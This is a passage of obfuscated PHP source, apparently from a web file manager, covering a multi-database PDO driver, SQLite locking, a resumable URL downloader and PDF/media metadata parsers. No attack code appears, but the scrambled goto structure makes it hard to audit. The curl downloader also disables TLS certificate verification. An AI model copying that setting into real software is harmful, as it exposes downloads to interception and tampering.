isset($Aȝ[$eѩ[855]]) ? strtolower($Aȝ[$eѩ[855]]) == $eѩ[41] : (isset($Aȝ[$eѩ[89]]) ? $Aȝ[$eѩ[89]] : !1)); } } goto fκ螌; E梂轍: $eѩ =& $_SERVER[ڊ]; $this->initConnect(!0); if (think_config($eѩ[839])) { $E袦 = str_replace($eѩ[840], $A︂, think_config($eѩ[839])); } else { switch ($this->dbType) { case $eѩ[823]: case $eѩ[841]: $E袦 = "\x53\105\114\x45\103\x54\x20\x20\x20\143\157\154\x75\x6d\x6e\137\x6e\141\155\x65\40\141\x73\40\x27\116\141\x6d\145\47\x2c\x20\40\40\x64\x61\x74\141\x5f\x74\x79\x70\145\x20\x61\163\x20\47\x54\171\x70\145\47\54\x20\40\x20\143\157\154\x75\155\156\137\x64\145\x66\x61\x75\154\164\x20\141\x73\x20\x27\x44\x65\146\141\x75\x6c\164\x27\x2c\40\x20\40\151\x73\x5f\156\165\x6c\x6c\141\x62\154\x65\40\x61\163\x20\x27\x4e\165\x6c\154\x27\xa\11\11\x46\x52\x4f\x4d\x9\151\x6e\146\157\x72\155\x61\164\151\157\156\137\163\143\x68\145\155\x61\x2e\164\141\142\154\x65\163\x20\101\123\x20\164\12\x9\11\x4a\117\x49\116\x9\151\x6e\146\157\x72\x6d\x61\164\x69\x6f\x6e\x5f\x73\x63\x68\x65\155\x61\56\143\157\154\x75\x6d\156\x73\40\101\123\x20\143\12\x9\x9\117\x4e\40\40\x74\56\164\x61\x62\x6c\x65\x5f\x63\x61\x74\141\154\x6f\147\40\75\x20\143\x2e\164\x61\x62\x6c\x65\137\143\141\x74\x61\x6c\157\x67\12\x9\11\101\x4e\104\x20\164\56\x74\141\142\x6c\x65\x5f\x73\x63\x68\145\155\x61\40\75\40\143\56\164\141\x62\154\x65\x5f\x73\143\150\x65\155\141\12\x9\11\x41\116\104\x20\164\x2e\x74\x61\x62\154\145\x5f\x6e\141\155\x65\x20\x3d\x20\143\x2e\164\x61\x62\154\x65\137\x6e\x61\x6d\145\12\11\11\127\110\105\x52\x45\40\x20\x20\164\x2e\x74\141\142\x6c\x65\x5f\x6e\141\155\145\40\75\x20\47{$A︂}\47"; break; case $eѩ[842]: $E袦 = $eѩ[843] . $A︂ . $eѩ[844]; break; case $eѩ[824]: case $eѩ[826]: $E袦 = $eѩ[845] . $eѩ[846] . $eѩ[847] . strtoupper($A︂) . $eѩ[848] . strtoupper($A︂) . $eѩ[849]; break; case $eѩ[850]: $E袦 = $eѩ[851] . $A︂ . $eѩ[852]; break; case $eѩ[825]: break; case $eѩ[853]: default: $E袦 = $eѩ[854] . ($this->dbType == $eѩ[853] ? "\x60{$A︂}\x60" : $A︂); } } goto f⽿; aƩ蘄: } public function getTables($c = '') { $f =& $_SERVER[ڊ]; if (think_config($f[856])) { $c = str_replace($f[857], $c, think_config($f[856])); } else { switch ($this->dbType) { case $f[824]: case $f[826]: $c = $f[858]; break; case $f[823]: case $f[841]: $c = $f[859]; break; case $f[850]: $c = $f[860]; break; case $f[825]: think_exception(think_lang($f[861]) . $f[862]); break; case $f[842]: $c = $f[42] . $f[43] . $f[44]; break; case $f[853]: default: if (!empty($c)) { $c = $f[806] . $c; } else { $c = $f[807]; } } } $dƤؼ = $this->query($c); $Fޙ = array(); foreach ($dƤؼ as $c댫 => $aշ) { $Fޙ[$c댫] = current($aշ); } return $Fޙ; } protected function parseLimit($A) { $d̓緷 =& $_SERVER[ڊ]; $Bև煳 = $d̓緷[33]; if (!empty($A)) { switch ($this->dbType) { case $d̓緷[850]: case $d̓緷[842]: $A = explode($d̓緷[47], $A); if (count($A) > 1) { $Bև煳 .= $d̓緷[48] . $A[1] . $d̓緷[49] . $A[0] . $d̓緷[50]; } else { $Bև煳 .= $d̓緷[48] . $A[0] . $d̓緷[50]; } break; case $d̓緷[823]: case $d̓緷[841]: break; case $d̓緷[825]: break; case $d̓緷[824]: case $d̓緷[826]: break; case $d̓緷[853]: default: $Bև煳 .= $d̓緷[48] . $A . $d̓緷[50]; } } return $Bև煳; } public function parseKey(&$A, $Eؓ = true) { $a =& $_SERVER[ڊ]; if ($Eؓ) { $A = $this->parseKeyCheck($A); } if ($this->dbType == $a[853]) { if ($A != $a[173] && !preg_match($a[817], $A)) { $A = $a[818] . trim($A, $a[818]) . $a[818]; } return $A; } else { return parent::parseKey($A); } } public function close() { $this->_linkID = null; } public function error() { $e΋ =& $_SERVER[ڊ]; if ($this->PDOStatement) { $D亊 = $this->PDOStatement->errorInfo(); $this->error = $D亊[1] . $e΋[4] . $D亊[2]; } else { $this->error = $e΋[33]; } if ($e΋[33] != $this->queryStr) { $this->error .= LNG($e΋[45]) . $this->queryStr; } think_trace($this->error, $e΋[33], $e΋[46]); return $this->error; } public function escapeString($Aۡ) { $C =& $_SERVER[ڊ]; switch ($this->dbType) { case $C[850]: case $C[823]: case $C[841]: case $C[853]: return addslashes($Aۡ); case $C[825]: case $C[842]: case $C[824]: case $C[826]: return str_ireplace($C[55], $C[56], $Aۡ); } } protected function parseValue($bőכ) { $CΗ뜆 =& $_SERVER[ڊ]; if (is_string($bőכ)) { $bőכ = strpos($bőכ, $CΗ뜆[4]) === 0 ? $this->escapeString($bőכ) : $CΗ뜆[863] . $this->escapeString($bőכ) . $CΗ뜆[863]; } elseif (isset($bőכ[0]) && is_string($bőכ[0]) && strtolower($bőכ[0]) == $CΗ뜆[282]) { $bőכ = $this->escapeString($bőכ[1]); } elseif (is_array($bőכ)) { $bőכ = array_map(array($this, $CΗ뜆[864]), $bőכ); } elseif (is_bool($bőכ)) { $bőכ = $bőכ ? $CΗ뜆[83] : $CΗ뜆[464]; } elseif (is_null($bőכ)) { $bőכ = $CΗ뜆[101]; } return $bőכ; } public function getLastInsertId() { $dϣ =& $_SERVER[ڊ]; switch ($this->dbType) { case $dϣ[850]: case $dϣ[842]: case $dϣ[823]: case $dϣ[841]: case $dϣ[825]: case $dϣ[853]: return $this->_linkID->lastInsertId(); case $dϣ[824]: case $dϣ[826]: $a݉ = $this->table; $fئ = $this->query("\123\x45\x4c\105\103\x54\x20{$a݉}\x2e\x63\x75\x72\162\x76\x61\154\x20\143\x75\x72\162\x76\141\154\x20\x46\x52\x4f\x4d\40\144\165\x61\x6c"); return $fئ ? $fئ[0][$dϣ[865]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($Eڬ) { goto f; f: $A֥ٝ =& $_SERVER[ڊ]; $bĤ = DATA_PATH . $A֥ٝ[866]; $aЩ = fopen($bĤ, $A֥ٝ[867]); goto bɲ; bɲ: if (!$aЩ) { return !1; } if (flock($aЩ, LOCK_EX)) { $C = parent::query($Eڬ); flock($aЩ, LOCK_UN); fclose($aЩ); return $C; } flock($aЩ, LOCK_UN); goto b䧂̋; b䧂̋: fclose($aЩ); show_json($A֥ٝ[868], !1); return !1; goto bƬ; bƬ: } public function execute($cӰ) { goto Eܲ; Eܲ: $Fɶͥ =& $_SERVER[ڊ]; $b數 = DATA_PATH . $Fɶͥ[866]; $bۚՍ = fopen($b數, $Fɶͥ[867]); goto bŊ; e: fclose($bۚՍ); show_json($Fɶͥ[868], !1); return !1; goto FԆ; bŊ: if (!$bۚՍ) { return !1; } if (flock($bۚՍ, LOCK_EX)) { $aよ = parent::execute($cӰ); flock($bۚՍ, LOCK_UN); fclose($bۚՍ); return $aよ; } flock($bۚՍ, LOCK_UN); goto e; FԆ: } } goto fۭܶ; F핖: class Downloader { static function start($Aƣ, $aꎃ, $Dټ = 10) { goto F㓌; B慆: if (!$Aƣ) { return array($cة[1024] => !1, $cة[1026] => $cة[1029]); } if (!$fň[$cة[1276]] || $fň[$cة[322]] == 0) { @unlink($fՠ); @unlink($aꎃ); $F謐 = self::fileDownloadFopen($Aƣ, $aꎃ, $fň[$cة[322]]); if ($F謐[$cة[1024]]) { return $F謐; } else { @unlink($fՠ); @unlink($aꎃ); $F謐 = self::fileDownloadCurl($Aƣ, $aꎃ, !1, 0, $fň[$cة[322]]); @unlink($fՠ); return $F謐; } } $f敏 = is_file($fՠ) ? filesize($fՠ) : 0; goto A՜Ƙ; c듆: $fՠ = $aꎃ . $cة[1483]; if (is_array($Aƣ)) { $fň = $Aƣ; } else { $fň = url_header($Aƣ); } $Aƣ = $fň[$cة[292]]; goto B慆; A䌒: if ($f敏 > $AЅ) { @unlink($fՠ); } file_put_contents($d, json_encode($d)); $F謐 = self::fileDownloadCurl($Aƣ, $aꎃ, !0, $f敏, $AЅ); goto Aݡ; D: if (is_file($d)) { $EԖ = file_get_contents($d); $d = json_decode($EԖ, 1); } if (file_exists($aꎃ) && $AЅ == filesize($aꎃ)) { @unlink($fՠ); @unlink($d); return array($cة[1024] => !0, $cة[1026] => $cة[1485]); } if ($d[$cة[322]] != $AЅ) { $d = array($cة[322] => $AЅ); } goto A䌒; F㓌: $cة =& $_SERVER[ڊ]; if (!request_url_safe($Aƣ)) { return array($cة[1024] => !1, $cة[1026] => $cة[1029]); } $d = $aꎃ . $cة[1482]; goto c듆; Aݡ: if ($F謐[$cة[1024]]) { @unlink($d); } return $F謐; goto Cޭ; A՜Ƙ: $AЅ = intval($fň[$cة[322]]); if (file_exists($fՠ) && time() - filemtime($fՠ) < 3) { return array($cة[1024] => !1, $cة[1026] => $cة[1484]); } $d = array(); goto D; Cޭ: } static function fileDownloadFopen($c, $b䘵, $e = 0) { $A =& $_SERVER[ڊ]; @ini_set($A[1486], $A[1487]); $a׫ = $b䘵 . $A[1483]; set_timeout(); @unlink($a׫); if ($F䠆 = @fopen($c, $A[1488])) { goto D; D: if (!($fĤ = @fopen($a׫, $A[1489]))) { return array($A[1024] => !1, $A[1026] => $A[1490]); } while (!feof($F䠆)) { if (!file_exists($a׫)) { fclose($fĤ); return array($A[1024] => !1, $A[1026] => $A[1491]); } clearstatcache(); if ($e > 0 && $e == filesize(iconv_system($a׫))) { break; } fwrite($fĤ, fread($F䠆, 1024 * 8), 1024 * 8); } fclose($fĤ); goto F’ɐ; F’ɐ: fclose($F䠆); $f» = filesize(iconv_system($a׫)); if ($e != 0 && $f» != $e) { return array($A[1024] => !1, $A[1026] => $A[1492]); } goto Cႆ; Cႆ: self::checkGzip($a׫); if (!@rename($a׫, $b䘵)) { usleep(round(rand(0, 1000) * 50)); @unlink($b䘵); $Bݗ = @rename($a׫, $b䘵); if (!$Bݗ) { return array($A[1024] => !1, $A[1026] => $A[1493]); } } return array($A[1024] => !0, $A[1026] => $A[691]); goto e; e: } else { return array($A[1024] => !1, $A[1026] => $A[1494]); } } static function fileDownloadCurl($fɂ, $cӧ, $eㄨ = false, $EԘ = 0, $dӢ = 0) { goto dҋ; dҋ: $d =& $_SERVER[ڊ]; $B샊 = $cӧ . $d[1483]; set_timeout(); goto Cµ; Cµ: $Dٸ = @fopen($B샊, $d[974]); if (!$Dٸ) { return array($d[1024] => !1, $d[1026] => $d[1495]); } $dϜς = curl_init($fɂ); goto BΠ; f: curl_setopt($dϜς, CURLOPT_NOPROGRESS, !1); curl_setopt($dϜς, CURLOPT_PROGRESSFUNCTION, $d[1496]); curl_progress_start($dϜς); goto cֹ; BΠ: if ($eㄨ) { curl_setopt($dϜς, CURLOPT_RANGE, $EԘ . $d[709]); } curl_setopt($dϜς, CURLOPT_FILE, $Dٸ); curl_setopt($dϜς, CURLOPT_REFERER, get_url_link($fɂ)); goto bԃ; d: curl_close($dϜς); fclose($Dٸ); $cԓ = filesize(iconv_system($B샊)); goto DƮ; BĄ: return array($d[1024] => !1, $d[1026] => $d[1498]); goto E; DƮ: if ($cԓ < $dӢ && $dӢ != 0) { return array($d[1024] => !1, $d[1026] => $d[1484]); } if ($cԓ > $dӢ && $dӢ != 0) { return array($d[1024] => !1, $d[1026] => $d[1492]); } if ($C֬ۆ && filesize($B샊) != 0) { self::checkGzip($B샊); if (!@rename($B샊, $cӧ)) { @unlink($cӧ); $C֬ۆ = @rename($B샊, $cӧ); if (!$C֬ۆ) { return array($d[1024] => !1, $d[1026] => $d[1497]); } } return array($d[1024] => !0, $d[1026] => $d[691]); } goto BĄ; cֹ: curl_setopt($dϜς, CURLOPT_USERAGENT, $d[1487]); $C֬ۆ = curl_exec($dϜς); curl_progress_end($dϜς); goto d; bԃ: curl_setopt($dϜς, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($dϜς, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($dϜς, CURLOPT_SSL_VERIFYHOST, 0); goto f; E: } static function checkGzip($EՆ) { goto aʾʟ; aʾʟ: $aȻӫ = $_SERVER[ڊ][1499]; $Dԍ޿ = file_sub_str($EՆ, 0, 2); if ($aȻӫ != $Dԍ޿) { return; } goto Aߞ; dأ؞ſ: file_put_contents($EՆ, $aƘݫ); goto c岐; Aߞ: ob_start(); readgzfile($EՆ); $aƘݫ = ob_get_clean(); goto dأ؞ſ; c岐: } } class FileParsePdf { public static function parse($fʘ) { goto D֡; a: if ($E[1] && $a[$Cݼ΅[1508]] < $E[1][0]) { $a[$Cݼ΅[1508]] = $E[1][0]; } $a = self::parseInfoItem($a); return $a; goto DȬ; Fڜ: if ($E) { $a[$Cݼ΅[1315]] = $E[1]; } $a[$Cݼ΅[1508]] = 0; $e = $Cݼ΅[1509]; goto dݺ; B: preg_match($e, $bΞ̔[$Cݼ΅[1502]], $E); if (!$a[$Cݼ΅[1504]] && count($E) == 5) { $a[$Cݼ΅[1504]] = $E[3]; $a[$Cݼ΅[1506]] = $E[4]; } preg_match($Cݼ΅[1507], $bΞ̔[$Cݼ΅[1501]], $E); goto Fڜ; Aȋ: $e = $Cݼ΅[1505]; preg_match($e, $bΞ̔[$Cݼ΅[1501]], $E); if (!$a[$Cݼ΅[1504]] && count($E) == 5) { $a[$Cݼ΅[1504]] = $E[3]; $a[$Cݼ΅[1506]] = $E[4]; } goto B; D֡: $Cݼ΅ =& $_SERVER[ڊ]; $aվ = 32 * 1024; $bΞ̔ = array($Cݼ΅[770] => fopen($fʘ, $Cݼ΅[1157]), $Cݼ΅[75] => $fʘ, $Cݼ΅[77] => filesize($fʘ), $Cݼ΅[1500] => $aվ); goto AҮ; f됛Ԋ: if ($eߓ㈊) { $Dȫмɫ = $eߓ㈊[$Cݼ΅[1503]][$Cݼ΅[1179]]; $a = self::getObjectValue($bΞ̔, $eߓ㈊, $Dȫмɫ); } $a = is_array($a) ? $a : array(); $a[$Cݼ΅[1504]] = 0; goto Aȋ; AҮ: $bΞ̔[$Cݼ΅[1501]] = StreamWrapperIO::read($fʘ, 0, $aվ); $bΞ̔[$Cݼ΅[1502]] = StreamWrapperIO::read($fʘ, $bΞ̔[$Cݼ΅[77]] - $aվ, $aվ); $eߓ㈊ = self::decodeXref($bΞ̔); goto f됛Ԋ; dݺ: preg_match_all($e, $bΞ̔[$Cݼ΅[1501]], $E); if ($E[1] && $a[$Cݼ΅[1508]] < $E[1][0]) { $a[$Cݼ΅[1508]] = $E[1][0]; } preg_match_all($e, $bΞ̔[$Cݼ΅[1502]], $E); goto a; DȬ: } private static function parseInfoItem($c) { $Bޅ =& $_SERVER[ڊ]; if (!$c) { return !1; } $ë́ = array($Bޅ[1316] => array($Bޅ[1510], $Bޅ[33]), $Bޅ[1511] => array($Bޅ[1512], $Bޅ[33]), $Bޅ[184] => array($Bޅ[1513], $Bޅ[207]), $Bޅ[107] => array($Bޅ[1514], $Bޅ[207]), $Bޅ[1508] => array($Bޅ[1508], $Bޅ[273]), $Bޅ[1504] => array($Bޅ[1504], $Bޅ[273]), $Bޅ[1506] => array($Bޅ[1506], $Bޅ[273]), $Bޅ[1515] => array($Bޅ[1516], $Bޅ[33]), $Bޅ[1517] => array($Bޅ[1518], $Bޅ[33]), $Bޅ[1519] => array($Bޅ[1315], $Bޅ[33])); $a׬Ɇ = array(); foreach ($ë́ as $E͗ => $Cњ) { if (!isset($c[$Cњ[0]])) { continue; } $EӶޕ = $c[$Cњ[0]]; if (!$EӶޕ || is_array($EӶޕ)) { continue; } switch ($Cњ[1]) { case $Bޅ[273]: $EӶޕ = intval($EӶޕ); break; case $Bޅ[207]: if (substr($EӶޕ, 0, 2) == $Bޅ[1520]) { $EӶޕ = substr($EӶޕ, 2, 14); } if (strtotime($EӶޕ)) { $EӶޕ = date($Bޅ[1521], strtotime($EӶޕ)); } break; } $a׬Ɇ[$E͗] = $EӶޕ; } return $a׬Ɇ; } private static function decodeXref(&$d) { goto CЍܹ; E: if (preg_match($dћ[1529], $DȂ, $a쟑) > 0) { $d[$dћ[1503]][$dћ[77]] = intval($a쟑[1]); } if (preg_match($dћ[1530], $DȂ, $a쟑) > 0) { $d[$dћ[1503]][$dћ[1531]] = intval($a쟑[1]) . $dћ[70] . intval($a쟑[2]); } if (preg_match($dћ[1532], $DȂ, $a쟑) > 0) { $d[$dћ[1503]][$dћ[1533]] = intval($a쟑[1]) . $dћ[70] . intval($a쟑[2]); } goto B; CЍܹ: $dћ =& $_SERVER[ڊ]; $cٱ = $d[$dћ[1502]]; $d = array($dћ[1503] => array(), $dћ[1522] => array()); goto c; B: if ($d[$dћ[77]] - $Cȭ > $d[$dћ[1500]]) { $EڶӔߕ = 4 * $d[$dћ[1500]]; $d[$dћ[1500]] = $EڶӔߕ; $d[$dћ[1501]] = StreamWrapperIO::read($d[$dћ[75]], 0, $EڶӔߕ); $d[$dћ[1502]] = StreamWrapperIO::read($d[$dћ[75]], $d[$dћ[77]] - $EڶӔߕ, $EڶӔߕ); $cٱ = $d[$dћ[1502]]; } $cԷ = 0; preg_match_all($dћ[1524], $cٱ, $a쟑); goto F; F: foreach ($a쟑[3] as $Aٕʞ => $D½) { if ($a쟑[3][$Aٕʞ] == $dћ[1525]) { $B = $cԷ . $dћ[70] . intval($a쟑[2][$Aٕʞ]); $d[$dћ[1522]][$B] = intval($a쟑[1][$Aٕʞ]); ++$cԷ; } else { if ($a쟑[3][$Aٕʞ] == $dћ[1526]) { ++$cԷ; } else { } } } if (preg_match_all($dћ[1527], $cٱ, $a쟑)) { $Fɧʳ = $d[$dћ[77]] - $d[$dћ[1500]]; foreach ($a쟑[0] as $Aٕʞ => $Bԉ) { $Eұٙ = $a쟑[1][$Aٕʞ] . $dћ[70] . $a쟑[2][$Aٕʞ]; $d[$dћ[1522]][$Eұٙ] = strpos($cٱ, $Bԉ) + $Fɧʳ + 1; } } if (preg_match_all($dћ[1528], $cٱ, $a쟑)) { $DȂ = count($a쟑[1]) == 1 ? $a쟑[1][0] : $a쟑[1][1]; } else { $DȂ = substr($cٱ, -1024 * 5); } goto E; B: if (preg_match($dћ[1534], $DȂ, $a쟑) > 0) { $d[$dћ[1503]][$dћ[1179]] = intval($a쟑[1]) . $dћ[70] . intval($a쟑[2]); } if (preg_match($dћ[1535], $DȂ, $a쟑) > 0) { $d[$dћ[1503]][$dћ[364]] = array(); $d[$dћ[1503]][$dћ[364]][0] = $a쟑[1]; $d[$dћ[1503]][$dћ[364]][1] = $a쟑[2]; } if (!$d[$dћ[1503]][$dћ[1179]]) { return !1; } goto fȉė; fȉė: if (preg_match($dћ[1536], $DȂ, $a쟑) > 0) { } return $d; goto Dף֬; c: $EΉ = $dћ[1523]; if (!preg_match_all($EΉ, $cٱ, $a쟑, PREG_SET_ORDER, 0)) { return !1; } $Cȭ = intval($a쟑[0][1]); goto B; Dף֬: } private static function getObjectValue($c䚭, $F, $f폂) { goto Fл; BƩ: return $Eʇ; goto C؈; Fл: $a΍Ԕ =& $_SERVER[ڊ]; $c憋 = self::getObject($c䚭, $F[$a΍Ԕ[1522]][$f폂]); if (is_string($c憋[1])) { return $c憋[1]; } goto F; F: if (!is_array($c憋[1])) { return array(); } $Eʇ = array(); for ($C = 0; $C < count($c憋[1]); $C += 2) { $A = $c憋[1][$C]; $C›Ӽ = $c憋[1][$C + 1]; if (count($A) == 3 && $A[0] == $a΍Ԕ[8]) { $c = !1; if ($C›Ӽ[0] == $a΍Ԕ[1537]) { $C›Ӽ = self::getObject($c䚭, $F[$a΍Ԕ[1522]][$C›Ӽ[1]]); } $c = $C›Ӽ[1]; if ($c === !1) { continue; } if (is_string($c)) { $c = self::decodeStr($c); } $Eʇ[$A[1]] = $c; } } goto BƩ; C؈: } private static function getObject($Eٍħ, $e) { $bٶ꩎ = self::getObjectItem($Eٍħ, $e); $bٶ꩎ = self::getObjectItem($Eٍħ, $bٶ꩎[2]); return $bٶ꩎; } private static function getObjectItem($fθ꣕, $F֖) { goto a; a: $C =& $_SERVER[ڊ]; $Eʇނ = $fθ꣕[$C[1500]]; $E˴ = $fθ꣕[$C[77]] - $Eʇނ; goto bՉ; bՉ: $Fʐӕ = $F֖ >= $E˴ ? $F֖ - $E˴ : $F֖; $DԄ = $F֖ >= $E˴ ? $fθ꣕[$C[1502]] : $fθ꣕[$C[1501]]; if ($F֖ > $Eʇނ && $F֖ <= $E˴) { $Fʐӕ = 0; $DԄ = StreamWrapperIO::read($fθ꣕[$C[75]], $F֖, $Eʇނ); } goto Fɑ; Fɑ: $a³Ы = self::getRawObject($DԄ, $Fʐӕ); if ($F֖ >= $E˴) { $a³Ы[2] = $a³Ы[2] + $E˴; } else { if ($F֖ > $Eʇނ && $F֖ <= $E˴) { $a³Ы[2] = $a³Ы[2] + $F֖; } } return $a³Ы; goto C; C: } private static function decodeStr($CՋ) { goto BԍɈ; dÇݒ: $CՋ = $f[33]; foreach ($cȹ潗 as $aז) { if (preg_match($f[1549], $aז)) { $CՋ .= \chr(hexdec(trim($aז, $f[1550]))); } else { $CՋ .= $aז; } } $cȹ潗 = preg_split($f[1551], $CՋ, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto dԜ˯; BԍɈ: $f =& $_SERVER[ڊ]; $CՋ = str_replace(array($f[1538], $f[1539], $f[1540], $f[1541], $f[1542], $f[1543], $f[1544], $f[1545]), array($f[95], $f[50], $f[8], $f[245], $f[811], $f[214], $f[984], $f[327]), $CՋ); $cȹ潗 = preg_split($f[1546], $CՋ, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto f딨; f딨: $CՋ = $f[33]; foreach ($cȹ潗 as $aז) { if (preg_match($f[1547], $aז)) { $CՋ .= \chr(octdec(trim($aז, $f[95]))); } else { $CՋ .= $aז; } } $cȹ潗 = preg_split($f[1548], $CՋ, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto dÇݒ; cӤՏ: return $CՋ; goto Eѳ; dԜ˯: $CՋ = $f[33]; foreach ($cȹ潗 as $aז) { if (preg_match($f[1552], $aז) && !1 === stripos($aז, $f[1553])) { $aז = preg_replace($f[1554], $f[33], $aז); $aז = trim($aז, $f[920]); $aז = pack($f[1555], $aז); $CՋ .= $aז; } else { $CՋ .= $aז; } } if (preg_match($f[1556], $CՋ)) { $Aތۈ = substr($CՋ, 2); $CՋ = $f[33]; $f򑐵 = strlen($Aތۈ); for ($aǍ = 0; $aǍ < $f򑐵; $aǍ += 2) { $A = hexdec(bin2hex(substr($Aތۈ, $aǍ, 2))); $CՋ .= mb_convert_encoding($f[1557] . intval($A) . $f[67], $f[1558], $f[1559]); } } goto cӤՏ; Eѳ: } private static function getRawObject($Eֻɾ, $e = 0) { goto Cϫ; E: $e += strspn($Eֻɾ, $C[1560], $e); $B = $Eֻɾ[$e]; switch ($B) { case $C[1561]: $e£ = strcspn($Eֻɾ, $C[1562], $e); if ($e£ > 0) { $e += $e£; return self::getRawObject($Eֻɾ, $e); } break; case $C[8]: $f = $B; ++$e; $D߶ = preg_match($C[1563], substr($Eֻɾ, $e, 256), $cկ); if (1 == $D߶) { $aĜ = $cկ[1]; $e += strlen($aĜ); } break; case $C[245]: case $C[811]: $f = $B; ++$e; $Aݩ涡 = $e; if ($C[245] == $B) { $AĚ = 1; while ($AĚ > 0) { if (!isset($Eֻɾ[$Aݩ涡])) { break; } $E» = $Eֻɾ[$Aݩ涡]; switch ($E») { case $C[95]: ++$Aݩ涡; break; case $C[245]: ++$AĚ; break; case $C[811]: --$AĚ; break; } ++$Aݩ涡; } $aĜ = substr($Eֻɾ, $e, $Aݩ涡 - $e - 1); $e = $Aݩ涡; } break; case $C[154]: case $C[472]: $f = $B; ++$e; if ($C[154] == $B) { $aĜ = array(); do { $fم = $e; $E󐝱 = self::getRawObject($Eֻɾ, $e); $e = $E󐝱[2]; $aĜ[] = $E󐝱; } while ($C[472] != $E󐝱[0] && $e != $fم); array_pop($aĜ); } break; case $C[919]: case $C[922]: if (isset($Eֻɾ[$e + 1]) && $Eֻɾ[$e + 1] == $B) { $f = $B . $B; $e += 2; if ($C[919] == $B) { $aĜ = array(); do { $fم = $e; $E󐝱 = self::getRawObject($Eֻɾ, $e); $e = $E󐝱[2]; $aĜ[] = $E󐝱; } while ($C[1564] != $E󐝱[0] && $e != $fم); array_pop($aĜ); } } else { $f = $B; ++$e; $D߶ = preg_match($C[1565], substr($Eֻɾ, $e), $cկ); if ($C[919] == $B && 1 == $D߶) { $aĜ = strtr($cկ[1], $C[1566], $C[33]); $e += \strlen($cկ[0]); } elseif (!1 !== ($eݻ촂 = strpos($Eֻɾ, $C[922], $e))) { $e = $eݻ촂 + 1; } } break; default: if ($C[1567] == substr($Eֻɾ, $e, 6)) { $f = $C[1567]; $e += 6; } elseif ($C[101] == substr($Eֻɾ, $e, 4)) { $f = $C[101]; $e += 4; $aĜ = $C[101]; } elseif ($C[1568] == substr($Eֻɾ, $e, 4)) { $f = $C[1569]; $e += 4; $aĜ = $C[1568]; } elseif ($C[1570] == substr($Eֻɾ, $e, 5)) { $f = $C[1569]; $e += 5; $aĜ = $C[1570]; } elseif ($C[1571] == substr($Eֻɾ, $e, 6)) { $f = $C[1571]; $e += 6; if (1 == preg_match($C[1572], substr($Eֻɾ, $e), $cկ)) { $e += strlen($cկ[0]); $EŌ = $C[1573]; $D߶ = preg_match($EŌ, substr($Eֻɾ, $e), $cկ, PREG_OFFSET_CAPTURE); if (1 == $D߶) { $aĜ = substr($Eֻɾ, $e, $cկ[0][1]); $e += $cկ[1][1]; } } } elseif ($C[1574] == substr($Eֻɾ, $e, 9)) { $f = $C[1574]; $e += 9; } elseif (1 == preg_match($C[1575], substr($Eֻɾ, $e, 33), $cկ)) { $f = $C[1537]; $e += strlen($cկ[0]); $aĜ = intval($cկ[1]) . $C[70] . intval($cկ[2]); } elseif (1 == preg_match($C[1576], substr($Eֻɾ, $e, 33), $cկ)) { $f = $C[1577]; $aĜ = intval($cկ[1]) . $C[70] . intval($cկ[2]); $e += strlen($cկ[0]); } elseif (($f劤 = strspn($Eֻɾ, $C[1578], $e)) > 0) { $f = $C[1579]; $aĜ = substr($Eֻɾ, $e, $f劤); $e += $f劤; } break; } goto A; Cϫ: $C =& $_SERVER[ڊ]; $f = $C[33]; $aĜ = $C[33]; goto E; A: return array($f, $aĜ, $e); goto e⡶; e⡶: } } class GetInfo { private static $fileTypeArray; public static function get($Dʛ) { $B = IO::info($Dʛ); return self::infoAdd($B); } public static function infoAdd(&$d҉) { goto e̙; Bҧ: $e = $d҉[$Bƽܚ[157]]; try { if ($d҉[$Bƽܚ[157]] == $Bƽܚ[1582]) { $D = self::psdParse($eݥ); $e = $Bƽܚ[1583]; } else { if ($d҉[$Bƽܚ[157]] == $Bƽܚ[1584]) { $D = self::pdfParse($eݥ); } else { $e = self::$fileTypeArray[$Bƽܚ[1585]][$d҉[$Bƽܚ[157]]]; $C۴ = self::$fileTypeArray[$Bƽܚ[1586]][$e][$Bƽܚ[1587]]; $c勩ߥ = @$d񲉣->analyze($eݥ, $d҉[$Bƽܚ[77]], $d҉[$Bƽܚ[28]]); $D = self::parseData($c勩ߥ, $C۴, $d҉); } } } catch (Exception $b) { $D = array($Bƽܚ[369] => $e); } if (!$D) { return; } goto BÓ׊; dÌݔ: if (!$d҉ || $d҉[$Bƽܚ[29]] != $Bƽܚ[164]) { return; } if (!self::support($d҉[$Bƽܚ[157]]) || isset($d҉[$Bƽܚ[422]])) { return; } $eݥ = $Bƽܚ[1581] . $d҉[$Bƽܚ[75]]; goto Bҧ; e̙: $Bƽܚ =& $_SERVER[ڊ]; static $d񲉣; if (!$d񲉣) { require SDK_DIR . $Bƽܚ[1580]; $d񲉣 = new getID3(); } goto dÌݔ; BÓ׊: $D[$Bƽܚ[369]] = $e; $d҉[$Bƽܚ[422]] = $D; return $d҉; goto Dͣ; Dͣ: } public static function support($cᘅ) { goto fްֿ; F؊: $Fü = array($c[1584], $c[1582]); if (in_array($cᘅ, $Fü)) { return !0; } if (isset(self::$fileTypeArray[$c[1585]][$cᘅ])) { return !0; } goto fϬ; fްֿ: $c =& $_SERVER[ڊ]; if (!self::$fileTypeArray) { self::$fileTypeArray = self::fileTypeParse(); } $cᘅ = strtolower($cᘅ); goto F؊; fϬ: return !1; goto B; B: } private static function parseData($d, $D, $aΪ) { $Fʞ =& $_SERVER[ڊ]; $F = $d[$Fʞ[1588]]; $f㕾 = array(); foreach ($D as $f̟ => $BȚƔ) { foreach ($BȚƔ as $D) { if (is_array($D)) { $aՅ = self::parseData($d, $BȚƔ, $aΪ); if ($aՅ) { $f㕾[$f̟] = $aՅ; } break; } $b񝈧 = str_replace($Fʞ[1362], $F, $D); $aՅ = _get($d, $b񝈧); $aՅ = is_array($aՅ) ? $aՅ[0] : $aՅ; if ($aՅ) { break; } } if ($aՅ || $aՅ === 0 || $aՅ === !1) { $aՅ = self::valueReset($D, $aՅ, $f̟); if ($aՅ !== null) { $f㕾[$f̟] = $aՅ; } } } $f㕾 = self::valueResetAll($f㕾, $aΪ); return $f㕾; } private static function psdParse($Cˣ) { $Bݑ =& $_SERVER[ڊ]; if (IO::fileSubstr($Cˣ, 0, 4) != $Bݑ[1589]) { return !1; } 